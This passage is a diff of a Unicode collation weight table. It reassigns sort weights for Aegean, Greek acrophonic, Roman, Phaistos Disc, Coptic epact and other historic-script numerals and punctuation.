HUNDRED +1011B ; [*1A7A.0020.0002] # AEGEAN NUMBER THREE HUNDRED +1011C ; [*1A7B.0020.0002] # AEGEAN NUMBER FOUR HUNDRED +1011D ; [*1A7C.0020.0002] # AEGEAN NUMBER FIVE HUNDRED +1011E ; [*1A7D.0020.0002] # AEGEAN NUMBER SIX HUNDRED +1011F ; [*1A7E.0020.0002] # AEGEAN NUMBER SEVEN HUNDRED +10120 ; [*1A7F.0020.0002] # AEGEAN NUMBER EIGHT HUNDRED +10121 ; [*1A80.0020.0002] # AEGEAN NUMBER NINE HUNDRED +10122 ; [*1A81.0020.0002] # AEGEAN NUMBER ONE THOUSAND +10123 ; [*1A82.0020.0002] # AEGEAN NUMBER TWO THOUSAND +10124 ; [*1A83.0020.0002] # AEGEAN NUMBER THREE THOUSAND +10125 ; [*1A84.0020.0002] # AEGEAN NUMBER FOUR THOUSAND +10126 ; [*1A85.0020.0002] # AEGEAN NUMBER FIVE THOUSAND +10127 ; [*1A86.0020.0002] # AEGEAN NUMBER SIX THOUSAND +10128 ; [*1A87.0020.0002] # AEGEAN NUMBER SEVEN THOUSAND +10129 ; [*1A88.0020.0002] # AEGEAN NUMBER EIGHT THOUSAND +1012A ; [*1A89.0020.0002] # AEGEAN NUMBER NINE THOUSAND +1012B ; [*1A8A.0020.0002] # AEGEAN NUMBER TEN THOUSAND +1012C ; [*1A8B.0020.0002] # AEGEAN NUMBER TWENTY THOUSAND +1012D ; [*1A8C.0020.0002] # AEGEAN NUMBER THIRTY THOUSAND +1012E ; [*1A8D.0020.0002] # AEGEAN NUMBER FORTY THOUSAND +1012F ; [*1A8E.0020.0002] # AEGEAN NUMBER FIFTY THOUSAND +10130 ; [*1A8F.0020.0002] # AEGEAN NUMBER SIXTY THOUSAND +10131 ; [*1A90.0020.0002] # AEGEAN NUMBER SEVENTY THOUSAND +10132 ; [*1A91.0020.0002] # AEGEAN NUMBER EIGHTY THOUSAND +10133 ; [*1A92.0020.0002] # AEGEAN NUMBER NINETY THOUSAND +10137 ; [*0F54.0020.0002] # AEGEAN WEIGHT BASE UNIT +10138 ; [*0F55.0020.0002] # AEGEAN WEIGHT FIRST SUBUNIT +10139 ; [*0F56.0020.0002] # AEGEAN WEIGHT SECOND SUBUNIT +1013A ; [*0F57.0020.0002] # AEGEAN WEIGHT THIRD SUBUNIT +1013B ; [*0F58.0020.0002] # AEGEAN WEIGHT FOURTH SUBUNIT +1013C ; [*0F59.0020.0002] # AEGEAN DRY MEASURE FIRST SUBUNIT +1013D ; [*0F5A.0020.0002] # AEGEAN LIQUID MEASURE FIRST SUBUNIT +1013E ; [*0F5B.0020.0002] # AEGEAN MEASURE SECOND SUBUNIT +1013F ; [*0F5C.0020.0002] # AEGEAN MEASURE THIRD SUBUNIT +10140 ; [*1A93.0020.0002] # GREEK ACROPHONIC ATTIC ONE QUARTER +10141 ; [*1A94.0020.0002] # GREEK ACROPHONIC ATTIC ONE HALF +10144 ; [*1A95.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY +10145 ; [*1A96.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED +10146 ; [*1A97.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND +10147 ; [*1A98.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND +10149 ; [*1A99.0020.0002] # GREEK ACROPHONIC ATTIC TEN TALENTS +1014A ; [*1A9A.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY TALENTS +1014B ; [*1A9B.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED TALENTS +1014C ; [*1A9C.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED TALENTS +1014D ; [*1A9D.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND TALENTS +1014E ; [*1A9E.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND TALENTS +10150 ; [*1A9F.0020.0002] # GREEK ACROPHONIC ATTIC TEN STATERS +10151 ; [*1AA0.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY STATERS +10152 ; [*1AA1.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED STATERS +10153 ; [*1AA2.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED STATERS +10154 ; [*1AA3.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND STATERS +10155 ; [*1AA4.0020.0002] # GREEK ACROPHONIC ATTIC TEN THOUSAND STATERS +10156 ; [*1AA5.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND STATERS +10157 ; [*1AA6.0020.0002] # GREEK ACROPHONIC ATTIC TEN MNAS +10160 ; [*1AA7.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN +10161 ; [*1AA8.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN ALTERNATE FORM +10162 ; [*1AA9.0020.0002] # GREEK ACROPHONIC HERMIONIAN TEN +10163 ; [*1AAA.0020.0002] # GREEK ACROPHONIC MESSENIAN TEN +10164 ; [*1AAB.0020.0002] # GREEK ACROPHONIC THESPIAN TEN +10165 ; [*1AAC.0020.0002] # GREEK ACROPHONIC THESPIAN THIRTY +10166 ; [*1AAD.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY +10167 ; [*1AAE.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY ALTERNATE FORM +10168 ; [*1AAF.0020.0002] # GREEK ACROPHONIC HERMIONIAN FIFTY +10169 ; [*1AB0.0020.0002] # GREEK ACROPHONIC THESPIAN FIFTY +1016A ; [*1AB1.0020.0002] # GREEK ACROPHONIC THESPIAN ONE HUNDRED +1016B ; [*1AB2.0020.0002] # GREEK ACROPHONIC THESPIAN THREE HUNDRED +1016C ; [*1AB3.0020.0002] # GREEK ACROPHONIC EPIDAUREAN FIVE HUNDRED +1016D ; [*1AB4.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE HUNDRED +1016E ; [*1AB5.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE HUNDRED +1016F ; [*1AB6.0020.0002] # GREEK ACROPHONIC CARYSTIAN FIVE HUNDRED +10170 ; [*1AB7.0020.0002] # GREEK ACROPHONIC NAXIAN FIVE HUNDRED +10171 ; [*1AB8.0020.0002] # GREEK ACROPHONIC THESPIAN ONE THOUSAND +10172 ; [*1AB9.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE THOUSAND +10174 ; [*1ABA.0020.0002] # GREEK ACROPHONIC STRATIAN FIFTY MNAS +10175 ; [*1ABB.0020.0002] # GREEK ONE HALF SIGN +10176 ; [*1ABC.0020.0002] # GREEK ONE HALF SIGN ALTERNATE FORM +10177 ; [*1ABD.0020.0002] # GREEK TWO THIRDS SIGN +10178 ; [*1ABE.0020.0002] # GREEK THREE QUARTERS SIGN +10179 ; [*0F5D.0020.0002] # GREEK YEAR SIGN +1017A ; [*0F5E.0020.0002] # GREEK TALENT SIGN +1017B ; [*0F5F.0020.0002] # GREEK DRACHMA SIGN +1017C ; [*0F60.0020.0002] # GREEK OBOL SIGN +1017D ; [*0F61.0020.0002] # GREEK TWO OBOLS SIGN +1017E ; [*0F62.0020.0002] # GREEK THREE OBOLS SIGN +1017F ; [*0F63.0020.0002] # GREEK FOUR OBOLS SIGN +10180 ; [*0F64.0020.0002] # GREEK FIVE OBOLS SIGN +10181 ; [*0F65.0020.0002] # GREEK METRETES SIGN +10182 ; [*0F66.0020.0002] # GREEK KYATHOS BASE SIGN +10183 ; [*0F67.0020.0002] # GREEK LITRA SIGN +10184 ; [*0F68.0020.0002] # GREEK OUNKIA SIGN +10185 ; [*0F69.0020.0002] # GREEK XESTES SIGN +10186 ; [*0F6A.0020.0002] # GREEK ARTABE SIGN +10187 ; [*0F6B.0020.0002] # GREEK AROURA SIGN +10188 ; [*0F6C.0020.0002] # GREEK GRAMMA SIGN +10189 ; [*0F6D.0020.0002] # GREEK TRYBLION BASE SIGN +1018B ; [*1ABF.0020.0002] # GREEK ONE QUARTER SIGN +1018C ; [*0F6E.0020.0002] # GREEK SINUSOID SIGN +10190 ; [*0F6F.0020.0002] # ROMAN SEXTANS SIGN +10191 ; [*0F70.0020.0002] # ROMAN UNCIA SIGN +10192 ; [*0F71.0020.0002] # ROMAN SEMUNCIA SIGN +10193 ; [*0F72.0020.0002] # ROMAN SEXTULA SIGN +10194 ; [*0F73.0020.0002] # ROMAN DIMIDIA SEXTULA SIGN +10195 ; [*0F74.0020.0002] # ROMAN SILIQUA SIGN +10196 ; [*0F75.0020.0002] # ROMAN DENARIUS SIGN +10197 ; [*0F76.0020.0002] # ROMAN QUINARIUS SIGN +10198 ; [*0F77.0020.0002] # ROMAN SESTERTIUS SIGN +10199 ; [*0F78.0020.0002] # ROMAN DUPONDIUS SIGN +1019A ; [*0F79.0020.0002] # ROMAN AS SIGN +1019B ; [*0F7A.0020.0002] # ROMAN CENTURIAL SIGN +101A0 ; [*0F7B.0020.0002] # GREEK SYMBOL TAU RHO +101D0 ; [*0F7C.0020.0002] # PHAISTOS DISC SIGN PEDESTRIAN +101D1 ; [*0F7D.0020.0002] # PHAISTOS DISC SIGN PLUMED HEAD +101D2 ; [*0F7E.0020.0002] # PHAISTOS DISC SIGN TATTOOED HEAD +101D3 ; [*0F7F.0020.0002] # PHAISTOS DISC SIGN CAPTIVE +101D4 ; [*0F80.0020.0002] # PHAISTOS DISC SIGN CHILD +101D5 ; [*0F81.0020.0002] # PHAISTOS DISC SIGN WOMAN +101D6 ; [*0F82.0020.0002] # PHAISTOS DISC SIGN HELMET +101D7 ; [*0F83.0020.0002] # PHAISTOS DISC SIGN GAUNTLET +101D8 ; [*0F84.0020.0002] # PHAISTOS DISC SIGN TIARA +101D9 ; [*0F85.0020.0002] # PHAISTOS DISC SIGN ARROW +101DA ; [*0F86.0020.0002] # PHAISTOS DISC SIGN BOW +101DB ; [*0F87.0020.0002] # PHAISTOS DISC SIGN SHIELD +101DC ; [*0F88.0020.0002] # PHAISTOS DISC SIGN CLUB +101DD ; [*0F89.0020.0002] # PHAISTOS DISC SIGN MANACLES +101DE ; [*0F8A.0020.0002] # PHAISTOS DISC SIGN MATTOCK +101DF ; [*0F8B.0020.0002] # PHAISTOS DISC SIGN SAW +101E0 ; [*0F8C.0020.0002] # PHAISTOS DISC SIGN LID +101E1 ; [*0F8D.0020.0002] # PHAISTOS DISC SIGN BOOMERANG +101E2 ; [*0F8E.0020.0002] # PHAISTOS DISC SIGN CARPENTRY PLANE +101E3 ; [*0F8F.0020.0002] # PHAISTOS DISC SIGN DOLIUM +101E4 ; [*0F90.0020.0002] # PHAISTOS DISC SIGN COMB +101E5 ; [*0F91.0020.0002] # PHAISTOS DISC SIGN SLING +101E6 ; [*0F92.0020.0002] # PHAISTOS DISC SIGN COLUMN +101E7 ; [*0F93.0020.0002] # PHAISTOS DISC SIGN BEEHIVE +101E8 ; [*0F94.0020.0002] # PHAISTOS DISC SIGN SHIP +101E9 ; [*0F95.0020.0002] # PHAISTOS DISC SIGN HORN +101EA ; [*0F96.0020.0002] # PHAISTOS DISC SIGN HIDE +101EB ; [*0F97.0020.0002] # PHAISTOS DISC SIGN BULLS LEG +101EC ; [*0F98.0020.0002] # PHAISTOS DISC SIGN CAT +101ED ; [*0F99.0020.0002] # PHAISTOS DISC SIGN RAM +101EE ; [*0F9A.0020.0002] # PHAISTOS DISC SIGN EAGLE +101EF ; [*0F9B.0020.0002] # PHAISTOS DISC SIGN DOVE +101F0 ; [*0F9C.0020.0002] # PHAISTOS DISC SIGN TUNNY +101F1 ; [*0F9D.0020.0002] # PHAISTOS DISC SIGN BEE +101F2 ; [*0F9E.0020.0002] # PHAISTOS DISC SIGN PLANE TREE +101F3 ; [*0F9F.0020.0002] # PHAISTOS DISC SIGN VINE +101F4 ; [*0FA0.0020.0002] # PHAISTOS DISC SIGN PAPYRUS +101F5 ; [*0FA1.0020.0002] # PHAISTOS DISC SIGN ROSETTE +101F6 ; [*0FA2.0020.0002] # PHAISTOS DISC SIGN LILY +101F7 ; [*0FA3.0020.0002] # PHAISTOS DISC SIGN OX BACK +101F8 ; [*0FA4.0020.0002] # PHAISTOS DISC SIGN FLUTE +101F9 ; [*0FA5.0020.0002] # PHAISTOS DISC SIGN GRATER +101FA ; [*0FA6.0020.0002] # PHAISTOS DISC SIGN STRAINER +101FB ; [*0FA7.0020.0002] # PHAISTOS DISC SIGN SMALL AXE +101FC ; [*0FA8.0020.0002] # PHAISTOS DISC SIGN WAVY BAND 102E0 ; [.0000.0000.0000] # COPTIC EPACT THOUSANDS MARK -102EA ; [*1B3A.0020.0002] # COPTIC EPACT NUMBER TEN -102EB ; [*1B3B.0020.0002] # COPTIC EPACT NUMBER TWENTY -102EC ; [*1B3C.0020.0002] # COPTIC EPACT NUMBER THIRTY -102ED ; [*1B3D.0020.0002] # COPTIC EPACT NUMBER FORTY -102EE ; [*1B3E.0020.0002] # COPTIC EPACT NUMBER FIFTY -102EF ; [*1B3F.0020.0002] # COPTIC EPACT NUMBER SIXTY -102F0 ; [*1B40.0020.0002] # COPTIC EPACT NUMBER SEVENTY -102F1 ; [*1B41.0020.0002] # COPTIC EPACT NUMBER EIGHTY -102F2 ; [*1B42.0020.0002] # COPTIC EPACT NUMBER NINETY -102F3 ; [*1B43.0020.0002] # COPTIC EPACT NUMBER ONE HUNDRED -102F4 ; [*1B44.0020.0002] # COPTIC EPACT NUMBER TWO HUNDRED -102F5 ; [*1B45.0020.0002] # COPTIC EPACT NUMBER THREE HUNDRED -102F6 ; [*1B46.0020.0002] # COPTIC EPACT NUMBER FOUR HUNDRED -102F7 ; [*1B47.0020.0002] # COPTIC EPACT NUMBER FIVE HUNDRED -102F8 ; [*1B48.0020.0002] # COPTIC EPACT NUMBER SIX HUNDRED -102F9 ; [*1B49.0020.0002] # COPTIC EPACT NUMBER SEVEN HUNDRED -102FA ; [*1B4A.0020.0002] # COPTIC EPACT NUMBER EIGHT HUNDRED -102FB ; [*1B4B.0020.0002] # COPTIC EPACT NUMBER NINE HUNDRED -10322 ; [*1AE3.0020.0002] # OLD ITALIC NUMERAL TEN -10323 ; [*1AE4.0020.0002] # OLD ITALIC NUMERAL FIFTY -1039F ; [*02FD.0020.0002] # UGARITIC WORD DIVIDER -103D0 ; [*02FE.0020.0002] # OLD PERSIAN WORD DIVIDER -103D3 ; [*1B4C.0020.0002] # OLD PERSIAN NUMBER TEN -103D4 ; [*1B4D.0020.0002] # OLD PERSIAN NUMBER TWENTY -103D5 ; [*1B4E.0020.0002] # OLD PERSIAN NUMBER HUNDRED -1056F ; [*0432.0020.0002] # CAUCASIAN ALBANIAN CITATION MARK -10857 ; [*02D9.0020.0002] # IMPERIAL ARAMAIC SECTION SIGN -1085B ; [*1B5E.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN -1085C ; [*1B5F.0020.0002] # IMPERIAL ARAMAIC NUMBER TWENTY -1085D ; [*1B60.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE HUNDRED -1085E ; [*1B61.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE THOUSAND -1085F ; [*1B62.0020.0002] # IMPERIAL ARAMAIC NUMBER TEN THOUSAND -10877 ; [*0FCF.0020.0002] # PALMYRENE LEFT-POINTING FLEURON -10878 ; [*0FD0.0020.0002] # PALMYRENE RIGHT-POINTING FLEURON -1087E ; [*1B4F.0020.0002] # PALMYRENE NUMBER TEN -1087F ; [*1B50.0020.0002] # PALMYRENE NUMBER TWENTY -108AD ; [*1B51.0020.0002] # NABATAEAN NUMBER TEN -108AE ; [*1B52.0020.0002] # NABATAEAN NUMBER TWENTY -108AF ; [*1B53.0020.0002] # NABATAEAN NUMBER ONE HUNDRED -108FD ; [*1B54.0020.0002] # HATRAN NUMBER TEN -108FE ; [*1B55.0020.0002] # HATRAN NUMBER TWENTY -108FF ; [*1B56.0020.0002] # HATRAN NUMBER ONE HUNDRED -10917 ; [*1B5B.0020.0002] # PHOENICIAN NUMBER TEN -10918 ; [*1B5C.0020.0002] # PHOENICIAN NUMBER TWENTY -10919 ; [*1B5D.0020.0002] # PHOENICIAN NUMBER ONE HUNDRED -1091F ; [*02FF.0020.0002] # PHOENICIAN WORD SEPARATOR -1093F ; [*02F9.0020.0002] # LYDIAN TRIANGULAR MARK -109BC ; [*1BDD.0020.0002] # MEROITIC CURSIVE FRACTION ELEVEN TWELFTHS -109BD ; [*1BD2.0020.0002] # MEROITIC CURSIVE FRACTION ONE HALF -109C9 ; [*1BA7.0020.0002] # MEROITIC CURSIVE NUMBER TEN -109CA ; [*1BA8.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY -109CB ; [*1BA9.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY -109CC ; [*1BAA.0020.0002] # MEROITIC CURSIVE NUMBER FORTY -109CD ; [*1BAB.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY -109CE ; [*1BAC.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY -109CF ; [*1BAD.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY -109D2 ; [*1BAE.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED -109D3 ; [*1BAF.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED -109D4 ; [*1BB0.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED -109D5 ; [*1BB1.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED -109D6 ; [*1BB2.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED -109D7 ; [*1BB3.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED -109D8 ; [*1BB4.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED -109D9 ; [*1BB5.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED -109DA ; [*1BB6.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED -109DB ; [*1BB7.0020.0002] # MEROITIC CURSIVE NUMBER ONE THOUSAND -109DC ; [*1BB8.0020.0002] # MEROITIC CURSIVE NUMBER TWO THOUSAND -109DD ; [*1BB9.0020.0002] # MEROITIC CURSIVE NUMBER THREE THOUSAND -109DE ; [*1BBA.0020.0002] # MEROITIC CURSIVE NUMBER FOUR THOUSAND -109DF ; [*1BBB.0020.0002] # MEROITIC CURSIVE NUMBER FIVE THOUSAND -109E0 ; [*1BBC.0020.0002] # MEROITIC CURSIVE NUMBER SIX THOUSAND -109E1 ; [*1BBD.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN THOUSAND -109E2 ; [*1BBE.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT THOUSAND -109E3 ; [*1BBF.0020.0002] # MEROITIC CURSIVE NUMBER NINE THOUSAND -109E4 ; [*1BC0.0020.0002] # MEROITIC CURSIVE NUMBER TEN THOUSAND -109E5 ; [*1BC1.0020.0002] # MEROITIC CURSIVE NUMBER TWENTY THOUSAND -109E6 ; [*1BC2.0020.0002] # MEROITIC CURSIVE NUMBER THIRTY THOUSAND -109E7 ; [*1BC3.0020.0002] # MEROITIC CURSIVE NUMBER FORTY THOUSAND -109E8 ; [*1BC4.0020.0002] # MEROITIC CURSIVE NUMBER FIFTY THOUSAND -109E9 ; [*1BC5.0020.0002] # MEROITIC CURSIVE NUMBER SIXTY THOUSAND -109EA ; [*1BC6.0020.0002] # MEROITIC CURSIVE NUMBER SEVENTY THOUSAND -109EB ; [*1BC7.0020.0002] # MEROITIC CURSIVE NUMBER EIGHTY THOUSAND -109EC ; [*1BC8.0020.0002] # MEROITIC CURSIVE NUMBER NINETY THOUSAND -109ED ; [*1BC9.0020.0002] # MEROITIC CURSIVE NUMBER ONE HUNDRED THOUSAND -109EE ; [*1BCA.0020.0002] # MEROITIC CURSIVE NUMBER TWO HUNDRED THOUSAND -109EF ; [*1BCB.0020.0002] # MEROITIC CURSIVE NUMBER THREE HUNDRED THOUSAND -109F0 ; [*1BCC.0020.0002] # MEROITIC CURSIVE NUMBER FOUR HUNDRED THOUSAND -109F1 ; [*1BCD.0020.0002] # MEROITIC CURSIVE NUMBER FIVE HUNDRED THOUSAND -109F2 ; [*1BCE.0020.0002] # MEROITIC CURSIVE NUMBER SIX HUNDRED THOUSAND -109F3 ; [*1BCF.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN HUNDRED THOUSAND -109F4 ; [*1BD0.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT HUNDRED THOUSAND -109F5 ; [*1BD1.0020.0002] # MEROITIC CURSIVE NUMBER NINE HUNDRED THOUSAND -109F6 ; [*1BD3.0020.0002] # MEROITIC CURSIVE FRACTION ONE TWELFTH -109F7 ; [*1BD4.0020.0002] # MEROITIC CURSIVE FRACTION TWO TWELFTHS -109F8 ; [*1BD5.0020.0002] # MEROITIC CURSIVE FRACTION THREE TWELFTHS -109F9 ; [*1BD6.0020.0002] # MEROITIC CURSIVE FRACTION FOUR TWELFTHS -109FA ; [*1BD7.0020.0002] # MEROITIC CURSIVE FRACTION FIVE TWELFTHS -109FB ; [*1BD8.0020.0002] # MEROITIC CURSIVE FRACTION SIX TWELFTHS -109FC ; [*1BD9.0020.0002] # MEROITIC CURSIVE FRACTION SEVEN TWELFTHS -109FD ; [*1BDA.0020.0002] # MEROITIC CURSIVE FRACTION EIGHT TWELFTHS -109FE ; [*1BDB.0020.0002] # MEROITIC CURSIVE FRACTION NINE TWELFTHS -109FF ; [*1BDC.0020.0002] # MEROITIC CURSIVE FRACTION TEN TWELFTHS -10A44 ; [*1B7E.0020.0002] # KHAROSHTHI NUMBER TEN -10A45 ; [*1B7F.0020.0002] # KHAROSHTHI NUMBER TWENTY -10A46 ; [*1B80.0020.0002] # KHAROSHTHI NUMBER ONE HUNDRED -10A47 ; [*1B81.0020.0002] # KHAROSHTHI NUMBER ONE THOUSAND -10A50 ; [*0438.0020.0002] # KHAROSHTHI PUNCTUATION DOT -10A51 ; [*0439.0020.0002] # KHAROSHTHI PUNCTUATION SMALL CIRCLE -10A52 ; [*043A.0020.0002] # KHAROSHTHI PUNCTUATION CIRCLE -10A53 ; [*043B.0020.0002] # KHAROSHTHI PUNCTUATION CRESCENT BAR -10A54 ; [*043C.0020.0002] # KHAROSHTHI PUNCTUATION MANGALAM -10A55 ; [*043D.0020.0002] # KHAROSHTHI PUNCTUATION LOTUS -10A56 ; [*02AA.0020.0002] # KHAROSHTHI PUNCTUATION DANDA -10A57 ; [*02AB.0020.0002] # KHAROSHTHI PUNCTUATION DOUBLE DANDA -10A58 ; [*043E.0020.0002] # KHAROSHTHI PUNCTUATION LINES -10A7E ; [*1B57.0020.0002] # OLD SOUTH ARABIAN NUMBER FIFTY -10A7F ; [*1B58.0020.0002] # OLD SOUTH ARABIAN NUMERIC INDICATOR -10A9E ; [*1B59.0020.0002] # OLD NORTH ARABIAN NUMBER TEN -10A9F ; [*1B5A.0020.0002] # OLD NORTH ARABIAN NUMBER TWENTY -10AED ; [*1B63.0020.0002] # MANICHAEAN NUMBER TEN -10AEE ; [*1B64.0020.0002] # MANICHAEAN NUMBER TWENTY -10AEF ; [*1B65.0020.0002] # MANICHAEAN NUMBER ONE HUNDRED -10AF0 ; [*0443.0020.0002] # MANICHAEAN PUNCTUATION STAR -10AF1 ; [*0444.0020.0002] # MANICHAEAN PUNCTUATION FLEURON -10AF2 ; [*0445.0020.0002] # MANICHAEAN PUNCTUATION DOUBLE DOT WITHIN DOT -10AF3 ; [*0446.0020.0002] # MANICHAEAN PUNCTUATION DOT WITHIN DOT -10AF4 ; [*0447.0020.0002] # MANICHAEAN PUNCTUATION DOT -10AF5 ; [*0448.0020.0002] # MANICHAEAN PUNCTUATION TWO DOTS -10AF6 ; [*0449.0020.0002] # MANICHAEAN PUNCTUATION LINE FILLER -10B39 ; [*0442.0020.0002] # AVESTAN ABBREVIATION MARK -10B3A ; [*02DA.0020.0002] # TINY TWO DOTS OVER ONE DOT PUNCTUATION -10B3B ; [*02DB.0020.0002] # SMALL TWO DOTS OVER ONE DOT PUNCTUATION -10B3C ; [*02DC.0020.0002] # LARGE TWO DOTS OVER ONE DOT PUNCTUATION -10B3D ; [*02DD.0020.0002] # LARGE ONE DOT OVER TWO DOTS PUNCTUATION -10B3E ; [*02DE.0020.0002] # LARGE TWO RINGS OVER ONE RING PUNCTUATION -10B3F ; [*02DF.0020.0002] # LARGE ONE RING OVER TWO RINGS PUNCTUATION -10B5C ; [*1B66.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TEN -10B5D ; [*1B67.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWENTY -10B5E ; [*1B68.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE HUNDRED -10B5F ; [*1B69.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE THOUSAND -10B7C ; [*1B6A.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TEN -10B7D ; [*1B6B.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWENTY -10B7E ; [*1B6C.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE HUNDRED -10B7F ; [*1B6D.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE THOUSAND -10B99 ; [*044A.0020.0002] # PSALTER PAHLAVI SECTION MARK -10B9A ; [*044B.0020.0002] # PSALTER PAHLAVI TURNED SECTION MARK -10B9B ; [*044C.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH CROSS -10B9C ; [*044D.0020.0002] # PSALTER PAHLAVI FOUR DOTS WITH DOT -10BAD ; [*1B6E.0020.0002] # PSALTER PAHLAVI NUMBER TEN -10BAE ; [*1B6F.0020.0002] # PSALTER PAHLAVI NUMBER TWENTY -10BAF ; [*1B70.0020.0002] # PSALTER PAHLAVI NUMBER ONE HUNDRED -10CFC ; [*1AE5.0020.0002] # OLD HUNGARIAN NUMBER TEN -10CFD ; [*1AE6.0020.0002] # OLD HUNGARIAN NUMBER FIFTY -10CFE ; [*1AE7.0020.0002] # OLD HUNGARIAN NUMBER ONE HUNDRED -10CFF ; [*1AE8.0020.0002] # OLD HUNGARIAN NUMBER ONE THOUSAND -10E69 ; [*1ACC.0020.0002] # RUMI NUMBER TEN -10E6A ; [*1ACD.0020.0002] # RUMI NUMBER TWENTY -10E6B ; [*1ACE.0020.0002] # RUMI NUMBER THIRTY -10E6C ; [*1ACF.0020.0002] # RUMI NUMBER FORTY -10E6D ; [*1AD0.0020.0002] # RUMI NUMBER FIFTY -10E6E ; [*1AD1.0020.0002] # RUMI NUMBER SIXTY -10E6F ; [*1AD2.0020.0002] # RUMI NUMBER SEVENTY -10E70 ; [*1AD3.0020.0002] # RUMI NUMBER EIGHTY -10E71 ; [*1AD4.0020.0002] # RUMI NUMBER NINETY -10E72 ; [*1AD5.0020.0002] # RUMI NUMBER ONE HUNDRED -10E73 ; [*1AD6.0020.0002] # RUMI NUMBER TWO HUNDRED -10E74 ; [*1AD7.0020.0002] # RUMI NUMBER THREE HUNDRED -10E75 ; [*1AD8.0020.0002] # RUMI NUMBER FOUR HUNDRED -10E76 ; [*1AD9.0020.0002] # RUMI NUMBER FIVE HUNDRED -10E77 ; [*1ADA.0020.0002] # RUMI NUMBER SIX HUNDRED -10E78 ; [*1ADB.0020.0002] # RUMI NUMBER SEVEN HUNDRED -10E79 ; [*1ADC.0020.0002] # RUMI NUMBER EIGHT HUNDRED -10E7A ; [*1ADD.0020.0002] # RUMI NUMBER NINE HUNDRED -10E7B ; [*1ADE.0020.0002] # RUMI FRACTION ONE HALF -10E7C ; [*1ADF.0020.0002] # RUMI FRACTION ONE QUARTER -10E7D ; [*1AE0.0020.0002] # RUMI FRACTION ONE THIRD -10E7E ; [*1AE1.0020.0002] # RUMI FRACTION TWO THIRDS -11047 ; [*02AC.0020.0002] # BRAHMI DANDA -11048 ; [*02AD.0020.0002] # BRAHMI DOUBLE DANDA -11049 ; [*0433.0020.0002] # BRAHMI PUNCTUATION DOT -1104A ; [*0434.0020.0002] # BRAHMI PUNCTUATION DOUBLE DOT -1104B ; [*0435.0020.0002] # BRAHMI PUNCTUATION LINE -1104C ; [*0436.0020.0002] # BRAHMI PUNCTUATION CRESCENT BAR -1104D ; [*0437.0020.0002] # BRAHMI PUNCTUATION LOTUS -1105B ; [*1B73.0020.0002] # BRAHMI NUMBER TEN -1105C ; [*1B74.0020.0002] # BRAHMI NUMBER TWENTY -1105D ; [*1B75.0020.0002] # BRAHMI NUMBER THIRTY -1105E ; [*1B76.0020.0002] # BRAHMI NUMBER FORTY -1105F ; [*1B77.0020.0002] # BRAHMI NUMBER FIFTY -11060 ; [*1B78.0020.0002] # BRAHMI NUMBER SIXTY -11061 ; [*1B79.0020.0002] # BRAHMI NUMBER SEVENTY -11062 ; [*1B7A.0020.0002] # BRAHMI NUMBER EIGHTY -11063 ; [*1B7B.0020.0002] # BRAHMI NUMBER NINETY -11064 ; [*1B7C.0020.0002] # BRAHMI NUMBER ONE HUNDRED -11065 ; [*1B7D.0020.0002] # BRAHMI NUMBER ONE THOUSAND -110BB ; [*044E.0020.0002] # KAITHI ABBREVIATION SIGN -110BC ; [*044F.0020.0002] # KAITHI ENUMERATION SIGN +102EA ; [*1AC0.0020.0002] # COPTIC EPACT NUMBER TEN +102EB ; [*1AC1.0020.0002] # COPTIC EPACT NUMBER TWENTY +102EC ; [*1AC2.0020.0002] # COPTIC EPACT NUMBER THIRTY +102ED ; [*1AC3.0020.0002] # COPTIC EPACT NUMBER FORTY +102EE ; [*1AC4.0020.0002] # COPTIC EPACT NUMBER FIFTY +102EF ; [*1AC5.0020.0002] # COPTIC EPACT NUMBER SIXTY +102F0 ; [*1AC6.0020.0002] # COPTIC EPACT NUMBER SEVENTY 